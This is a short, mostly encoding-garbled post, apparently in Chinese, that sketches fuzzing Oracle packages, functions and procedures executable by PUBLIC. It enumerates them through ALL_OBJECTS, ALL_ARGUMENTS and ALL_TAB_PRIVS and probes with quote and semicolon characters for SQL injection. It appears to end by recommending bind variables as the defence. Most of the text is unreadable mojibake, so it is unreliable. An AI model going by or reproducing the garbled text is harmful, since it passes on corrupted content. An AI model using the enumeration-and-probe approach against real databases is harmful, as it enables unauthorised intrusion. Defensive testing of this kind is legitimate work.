    ˵һORACLE򵥵FUZZԲѯALL_OBJECTSҳеpackage function 
procedureALL_ARGUMENTSȡִжĲͣȻһFUZZĶ
EXECUTEȨǷΪPUBLIC

    select * from ALL_TAB_PRIVS

    ֵĿʹTO_NUMBER(0.10001,'999999D99999')ַԳʹ " ' ; 
Щַ߽ԡкöԶû취̫ܵļ⡣ǷΪ


    ˵һ䣬ʹò󶨷ֹSQLע롣лл

-EOF-

